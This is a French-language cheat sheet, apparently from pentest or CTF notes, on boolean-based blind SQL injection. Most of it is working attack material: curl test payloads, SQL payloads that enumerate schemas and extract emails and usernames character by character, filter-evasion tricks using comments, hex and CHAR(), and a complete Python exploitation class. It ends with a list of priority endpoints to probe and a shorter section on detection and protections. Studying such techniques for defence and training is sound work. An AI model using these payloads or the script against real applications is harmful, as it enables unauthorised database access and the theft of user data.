## 📋 Définition
L'injection SQL **Boolean-based Blind** est une technique d'exploitation qui permet d'extraire des données d'une base de données en analysant les **réponses binaires** (vrai/faux) de l'application, sans voir directement les données.
## 🔍 Identification
### Signes caractéristiques :
- Application retourne **des réponses différentes** selon la véracité de la condition SQL
- Pas d'affichage direct des données de la DB
- Réponses binaires : `true/false`, `success/error`, `200/404`, etc.
### Test de base :
```bash
# Test condition vraie
curl "http://target/api/endpoint/test' OR 1=1 OR 'x'='y"
# Résultat attendu : "true" ou réponse positive
# Test condition fausse
curl "http://target/api/endpoint/test' OR 1=2 OR 'x'='y"
# Résultat attendu : "false" ou réponse négative
```
## 🛠️ Techniques d'exploitation
### 1. Énumération des structures
```sql
-- Compter les bases de données
' OR (SELECT COUNT(*) FROM information_schema.schemata) = X OR 'x'='y
-- Compter les tables dans une DB
' OR (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='db_name') = X OR 'x'='y
-- Compter les lignes dans une table
' OR (SELECT COUNT(*) FROM table_name) = X OR 'x'='y
```
### 2. Extraction caractère par caractère
#### Méthode SUBSTR + ASCII (classique)
```sql
-- Test du premier caractère d'un email
' OR ASCII(SUBSTR((SELECT email FROM users LIMIT 1), 1, 1)) = 97 OR 'x'='y
-- 97 = 'a' en ASCII
```
#### Méthode LIKE (plus robuste)
```sql
-- Construction progressive avec LIKE
' OR (SELECT email FROM users LIMIT 1) LIKE 'a%' OR 'x'='y
' OR (SELECT email FROM users LIMIT 1) LIKE 'ad%' OR 'x'='y
' OR (SELECT email FROM users LIMIT 1) LIKE 'adm%' OR 'x'='y
```
#### Méthode conversion numérique (contournement)
```sql
-- Conversion en numérique pour éviter les filtres
' OR (SUBSTR((SELECT email FROM users LIMIT 1), 1, 1) + 0) = 97 OR 'x'='y
```
### 3. Navigation dans les résultats
```sql
-- Première ligne
SELECT column FROM table LIMIT 1
-- Deuxième ligne
SELECT column FROM table LIMIT 1 OFFSET 1
-- Alternative MySQL
SELECT column FROM table LIMIT 1,1
```
### 4. Binary Search (optimisation)
```python
def extract_char_binary_search(position):
low, high = 32, 126 # ASCII printable
while low <= high:
mid = (low + high) // 2
condition = f"ASCII(SUBSTR(column, {position}, 1)) >= {mid}"
if test_sql_condition(condition):
low = mid + 1
else:
high = mid - 1
return chr(high) if high >= 32 else None
```
## 🚧 Contournements courants
### Restrictions sur information_schema
```sql
-- Si information_schema est bloqué, bruteforce direct
' OR (SELECT username FROM users LIMIT 1) IS NOT NULL OR 'x'='y
-- Test de colonnes courantes
columns = ['id', 'username', 'email', 'password', 'admin', 'role']
for col in columns:
test: f"(SELECT {col} FROM table LIMIT 1) IS NOT NULL"
```
### Filtrage de mots-clés
```sql
-- Contournement avec encoding
SELECT -> SELE/**/CT
UNION -> UNI/**/ON
OR -> ||
-- Contournement avec CASE
SELECT CASE WHEN condition THEN 1 ELSE 0 END
```
### Filtrage de caractères spéciaux
```sql
-- Utilisation de HEX
' OR (SELECT column FROM table) = 0x61646d696e OR 'x'='y
-- 0x61646d696e = 'admin' en hex
-- Utilisation de CHAR()
' OR (SELECT column FROM table) = CHAR(97,100,109,105,110) OR 'x'='y
-- CHAR(97,100,109,105,110) = 'admin'
```
## 🔧 Script d'exploitation type
```python
import requests
import urllib.parse
class BlindSQLInjection:
def __init__(self, url, injection_point):
self.url = url
self.injection_point = injection_point
def test_condition(self, condition):
payload = f"{self.injection_point}' OR ({condition}) OR 'x'='y"
encoded = urllib.parse.quote(payload, safe='')
response = requests.get(f"{self.url}/{encoded}")
return "true" in response.text.lower() # Adapter selon l'app
def extract_string_like(self, sql_query):
result = ""
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@.-_'
for pos in range(1, 100):
found = False
for char in charset:
pattern = result + char + '%'
condition = f"({sql_query}) LIKE '{pattern}'"
if self.test_condition(condition):
result += char
print(f"Position {pos}: {result}")
found = True
break
if not found:
break
return result
```
## 📊 Cas d'usage typiques
### Applications vulnérables :
- **APIs de validation** (ex: `/api/user/validate/{username}`)
- **Systèmes de recherche** avec filtres SQL
- **Applications de login** avec réponses différentiées
- **Endpoints de vérification** (exists/not exists)
### Technologies concernées :
- **MySQL, PostgreSQL, SQL Server, Oracle**
- **Applications PHP, Python, Node.js, .NET**
- **APIs REST/GraphQL** avec paramètres SQL
## ⚠️ Limitations et détection
### Limitations :
- **Très lent** : 1 caractère = plusieurs requêtes
- **Bruyant** : génère beaucoup de logs
- **Dépendant du timing** réseau
- **Peut être détecté** par les WAF
### Signes de détection :
```bash
# Dans les logs web
- Multiples requêtes avec OR conditions
- Patterns répétitifs avec SUBSTR/ASCII
- Requêtes avec LIKE patterns progressifs
- Volume élevé de requêtes similaires
```
### Protection :
- **Requêtes préparées** (parameterized queries)
- **Validation stricte** des entrées
- **WAF** avec détection de patterns SQL
- **Rate limiting** sur les endpoints sensibles
- **Principe du moindre privilège** pour les comptes DB
### Charset optimisé :
```python
# Charset CTF typique
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@.-_{}:'
```
### Endpoints à tester en priorité :
- `/api/user/validate/`
- `/api/auth/check/`
- `/search?q=`
- `/api/exists/`
- Tout endpoint avec réponse `true/false`